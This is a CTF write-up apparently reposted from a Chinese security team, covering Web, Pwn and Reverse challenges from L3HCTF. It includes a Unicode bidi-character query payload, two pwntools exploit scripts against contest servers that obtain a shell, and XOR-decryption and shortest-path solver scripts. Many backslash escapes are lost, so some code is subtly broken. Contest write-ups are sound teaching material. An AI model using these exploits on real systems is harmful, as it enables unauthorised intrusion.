Web
Easy PHP
解题思路
在字符串中间插入了一些特殊unicode字符,比如ÊE; 直接右键检查,复制相应的字符串,然后用quote url编码一下,传最下面的url即可http://124.71.176.131:10001/?username=admin&%E2%80%AE%E2%81%A6L3H%E2%81%A9%E2%81%A6password=%E2%80%AE%E2%81%A6CTF%E2%81%A9%E2%81%A6l3hctf
Image Service 1
解题思路
注册了aaa账号,正常测试功能.多次测试上传图片后会有flag图片出现.或者在搜索哪里搜索也可以.应该是作为flag1比较简单
另外的一个做法是,js能看到前端的处理逻辑,sharelist是搜索分享列表的 ,结合题目说的在admin的分享列表,搜索admin提示有限制,搜索Admin即可
Pwn
SPN
解题思路
from pwn import *
libc = ELF("./libc-2.27.so")
p = remote("124.71.194.126", 9999)
def add(size, idx):
p.sendlineafter("exit", "1")
p.sendlineafter("Size:", str(size))
p.sendlineafter("Index", str(idx))
def edit(idx, size, content):
p.sendlineafter("exit", "2")
p.sendlineafter("Index", str(idx))
p.sendlineafter("Size", str(size))
p.sendafter("Content", content)
def exp():
add(0x1000, 0)
edit(0, 0x1008, "x00"*0x8)
p.sendlineafter("exit", "5")
p.interactive()
if __name__ == '__main__':
exp()
checkin
解题思路
from pwn import *
context.log_level = 'debug'
def pwn():
try:
p = remote("123.60.97.201", 9999)
p.sendafter("you:", "x00"*0x20)
p.send("1")
p.sendlineafter("fun!", p64(0x4f7e70))
p.sendafter("you:", "x00"*0x10)
p.sendafter("fun!n", "x1cx34x12")
p.sendline("ls")
p.sendline("ls")
data = p.recv()
if "AddressSanitizer" in data:
raise Exception
p.interactive()
except:
p.close()
if __name__ == '__main__':
while True:
pwn()
Reverse
idaaaaaa
解题思路 (po叔nb) 所有的东西都在conditional breakpoint里
使用这个程序可以解密所有字符串
target_string=[] # 这里是那么多的byte
start_ind=set()
all_ind=[-1]*999
for VLzxDy in range(19):
if VLzxDy == 0:
bYsMTa = 287
LjzrdT = b'lqAT7pNI3BX'
elif VLzxDy == 1:
bYsMTa = 96
LjzrdT = b'z3Uhis74aPq'
elif VLzxDy == 2:
bYsMTa = 8
LjzrdT = b'9tjseMGBHR5'
elif VLzxDy == 3:
bYsMTa = 777
LjzrdT = b'FhnvgMQjexH'
elif VLzxDy == 4:
bYsMTa = 496
LjzrdT = b'SKnZ51f9WsE'
elif VLzxDy == 5:
bYsMTa = 822
LjzrdT = b'gDJy104BSHW'
elif VLzxDy == 6:
bYsMTa = 914
LjzrdT = b'PbRV4rSM7fd'
elif VLzxDy == 7:
bYsMTa = 550
LjzrdT = b'WHPnoMTsbx3'
elif VLzxDy == 8:
bYsMTa = 273
LjzrdT = b'mLx5hvlqufG'
elif VLzxDy == 9:
bYsMTa = 259
LjzrdT = b'QvKgNmUFTnW'
elif VLzxDy == 10:
bYsMTa = 334
LjzrdT = b'TCrHaitRfY1'
elif VLzxDy == 11:
bYsMTa = 966
LjzrdT = b'm26IAvjq1zC'
elif VLzxDy == 12:
bYsMTa = 331
LjzrdT = b'dQb2ufTZwLX'
elif VLzxDy == 13:
bYsMTa = 680
LjzrdT = b'Y6Sr7znOeHL'
elif VLzxDy == 14:
bYsMTa = 374
LjzrdT = b'hLFj1wl5A0U'
elif VLzxDy == 15:
bYsMTa = 717
LjzrdT = b'H6W03R7TLFe'
elif VLzxDy == 16:
bYsMTa = 965
LjzrdT = b'fphoJwDKsTv'
elif VLzxDy == 17:
bYsMTa = 952
LjzrdT = b'CMF1Vk7NH4O'
elif VLzxDy == 18:
bYsMTa = 222
LjzrdT = b'43PSbAlgLqj'
start_ind.add((bYsMTa,str(LjzrdT,encoding='utf-8')))
all_ind[bYsMTa]=(LjzrdT,VLzxDy)
# print('=================================')
# print(str(bytes([target_string[bYsMTa][i]^LjzrdT[i%11] for i in range(len(target_string[bYsMTa]))]),encoding='utf-8'))
def xor_(a,k):
if type(k)==str:
k=bytes(k,encoding='utf-8')
return str(bytes([k[i%len(k)]^target_string[a][i] for i in range(len(target_string[a]))]),encoding='utf-8')
# print('=============================')
# print(xor_(667,b'vjHiPd4bBuf'))
# print(len(target_string))
import re
lnind=start_ind
if_pattern=re.compile(r'e{0,1}l{0,1}if [a-zA-Z][0-9a-zA-Z]+ == [0-9]+:n [0-9a-zA-Z]+ = [0-9]+n [0-9a-zA-Z]+ = b'[0-9a-zA-Z]+'')
bytes_pattern=re.compile(r'b'[0-9a-zA-Z]+'')
number_pattern=re.compile(r'[0-9]+')
for i in range(100):
nind=set()
for ind in lnind:
try:
cmds=xor_(ind[0],ind[1])
except:
print(ind)
continue
# print(cmds)
# print(if_pattern.findall(cmds))
all_if=if_pattern.findall(cmds)
# print(all_if)
for ifs in all_if:
b=bytes_pattern.findall(ifs)
nums=number_pattern.findall(ifs) # ,int(nums[0])
nind.add((int(nums[1]),b[0][2:-1]))
lnind=nind
for ind in nind:
start_ind.add(ind)
print(len(start_ind),i)
# if len(start_ind)>=1000:
# break
print(len(start_ind),start_ind)
# exit(0)
for ind in start_ind:
for i1 in start_ind:
if i1[0]==ind[0] and i1!=ind:
print(i1,ind)
f=open('4.py','w')
for ind in start_ind:
plain=xor_(ind[0],ind[1])
if '4927649' not in plain:
print(ind,plain)
f.write(plain)
f.write('n=======================n')
f.close()
现在需要找到最终结束的地方,然后搜索一个最短路径
在4.py中搜索4927649,有999个,这个字符串指向O, no,找到哪一个不包含4927649的就可以 发现是这个
(426, 'akUx3IWl29V')
idaapi.del_bpt(cpu.rip)
cpu.rax = 0
cpu.rip = 4202594
这个地址指向的内容是
ext:0000000000402062 lea rdi, aCorrectFlagIsL ; "correct! flag is L3HCTF{md5($SHORTEST_V"...
.text:0000000000402069 mov eax, 0
.text:000000000040206E call printf
.text:0000000000402073
.text:0000000000402073 loc_402073: ; CODE XREF: sub_401FE8+78↑j
.text:0000000000402073 mov eax, 0
.text:0000000000402078 leave
.text:0000000000402079 retn
就是成功,现在需要搜索到这个成功的最短路径 如果两个点都可以到达下一个点,那么答案不唯一,所以直接从起始点扩展就可以 target_string=[] # 程序中复制出来的byte start_ind=set() all_ind=set()
for VLzxDy in range(19):
if VLzxDy == 0:
bYsMTa = 287
LjzrdT = b'lqAT7pNI3BX'
elif VLzxDy == 1:
bYsMTa = 96
LjzrdT = b'z3Uhis74aPq'
elif VLzxDy == 2:
bYsMTa = 8
LjzrdT = b'9tjseMGBHR5'
elif VLzxDy == 3:
bYsMTa = 777
LjzrdT = b'FhnvgMQjexH'
elif VLzxDy == 4:
bYsMTa = 496
LjzrdT = b'SKnZ51f9WsE'
elif VLzxDy == 5:
bYsMTa = 822
LjzrdT = b'gDJy104BSHW'
elif VLzxDy == 6:
bYsMTa = 914
LjzrdT = b'PbRV4rSM7fd'
elif VLzxDy == 7:
bYsMTa = 550
LjzrdT = b'WHPnoMTsbx3'
elif VLzxDy == 8:
bYsMTa = 273
LjzrdT = b'mLx5hvlqufG'
elif VLzxDy == 9:
bYsMTa = 259
LjzrdT = b'QvKgNmUFTnW'
elif VLzxDy == 10:
bYsMTa = 334
LjzrdT = b'TCrHaitRfY1'
elif VLzxDy == 11:
bYsMTa = 966
LjzrdT = b'm26IAvjq1zC'
elif VLzxDy == 12:
bYsMTa = 331
LjzrdT = b'dQb2ufTZwLX'
elif VLzxDy == 13:
bYsMTa = 680
LjzrdT = b'Y6Sr7znOeHL'
elif VLzxDy == 14:
bYsMTa = 374
LjzrdT = b'hLFj1wl5A0U'
elif VLzxDy == 15:
bYsMTa = 717
LjzrdT = b'H6W03R7TLFe'
elif VLzxDy == 16:
bYsMTa = 965
LjzrdT = b'fphoJwDKsTv'
elif VLzxDy == 17:
bYsMTa = 952
LjzrdT = b'CMF1Vk7NH4O'
elif VLzxDy == 18:
bYsMTa = 222
LjzrdT = b'43PSbAlgLqj'
start_ind.add(bYsMTa)
all_ind.add((bYsMTa,str(LjzrdT,encoding='utf-8')))
def xor_(a,k):
if type(k)==str:
k=bytes(k,encoding='utf-8')
return str(bytes([k[i%len(k)]^target_string[a][i] for i in range(len(target_string[a]))]),encoding='utf-8')
import re
lnind=all_ind
if_pattern=re.compile(r'e{0,1}l{0,1}if [a-zA-Z][0-9a-zA-Z]+ == [0-9]+:n [0-9a-zA-Z]+ = [0-9]+n [0-9a-zA-Z]+ = b'[0-9a-zA-Z]+'')
bytes_pattern=re.compile(r'b'[0-9a-zA-Z]+'')
number_pattern=re.compile(r'[0-9]+')
next_dict=dict() # 记录当前节点可以到达的下一节点
for i in range(100):
nind=set()
for ind in lnind:
try:
cmds=xor_(ind[0],ind[1])
except:
print(ind)
continue
# print(cmds)
# print(if_pattern.findall(cmds))
all_if=if_pattern.findall(cmds)
if ind[0] not in next_dict.keys():
next_dict[ind[0]]=set()
# print(all_if)
for ifs in all_if:
b=bytes_pattern.findall(ifs)
nums=number_pattern.findall(ifs) # ,int(nums[0])
nind.add((int(nums[1]),b[0][2:-1]))
next_dict[ind[0]].add((int(nums[1]),int(nums[0])))
lnind=nind
for ind in nind:
all_ind.add(ind)
print(len(all_ind),i)
if len(start_ind)>=len(target_string):
break
f=open('4.py','w')
for ind in all_ind:
# print('===========================')
# print(ind)
# print(xor_(ind[0],ind[1]))
plain=xor_(ind[0],ind[1])
if '4927649' not in plain:
print(ind,plain)
f.write(plain)
f.write('n=======================n')
f.close()
print(next_dict)
# 搜索原则:节点不能重复添加
all_solve=[]
def make_answer(path:list):
answer=''
answer+=chr(12+ord('a'))
for i,p in enumerate(path):
if i==len(path)-1:break
tos=next_dict
for n in tos:
if n[0]==path[i+1]:
answer+=chr(n[1]+ord('a'))
break
print(answer)
print(start_ind)
def search(current_choices:set,current_state:list):
# print(current_state)
for cc in current_choices:
if cc==426:
print(current_state)
elif cc not in current_state:
current_state.append(cc)
next_set=next_dict[cc]
search([i[0] for i in next_set],current_state)
current_state.pop()
# search(start_ind,[])
distance=[-1]*1000
last_node=[-2]*1000
for i in start_ind:
distance[i]=1
last_node[-1]=-1
last_cur=start_ind
for i in range(1000):
cur_dis=set()
for ind in last_cur:
cur_nodes=next_dict[ind]
for cn in cur_nodes:
if distance[cn[0]]==-1:
distance[cn[0]]=distance[ind]+1
last_node[cn[0]]=ind
cur_dis.add(cn[0])
if cn[0]==426:
print(distance,last_node)
path=[]
start=426
while start>0:
path.insert(0,start)
start=last_node[start]
print(len(path),path)
make_answer(path)
exit(0)
last_cur=cur_dis
最后得到
mcaebacedaabfacacabgagbbaaeacabcbacebagaaabcdbgbdbcbdacgabfbbebababbbbbcaabdababafaccacdagdaababaaaa
load
解题思路 给load程序真是一个loader,data段中有一个加密过的pe文件,前期经过解密,然后通过这个loader新开一个进程,然后应该是根据pe文件格式加载进内存,这里没太注意,毕竟关键点不在这,直接先把解密的pe格式dump下来再说,然后再用ida打开,关键地方在这,难点就是401370的算法,这里是在看的过程中,感觉有点行列式的感觉,注重去搜了这方面的算法,后面根据对照发现就是矩阵求逆,在线找了一个求逆的网站,直接解, https://matrix.reshish.com/zh/inverCalculation.php ,然后发现这里有负数,再跟进去看是无符号转有符号了,这里还得弄回去,这里负数就加256,返回去,然后写脚本逆就行了
input=[-8,18,-9,6,-13,6,-1,2,-1,13,-3,-30,7]
strtable=[0,1,2,3,4,5,6,7,8,9,"a","b","c","d","e","f"]
for i in range(len(input)):
tmp=input[i]
a=tmp//16
b=tmp%16
if tmp<0:
a=(tmp+256)//16
b = (input[i] + 256) % 16
a=strtable[a]
b=strtable[b]
print(str(a)+str(b))
flag{f812f706f306ff02ff0dfde207}
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析+AI 长期招新
原文始发于微信公众号(ChaMd5安全团队):L3CTF-WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论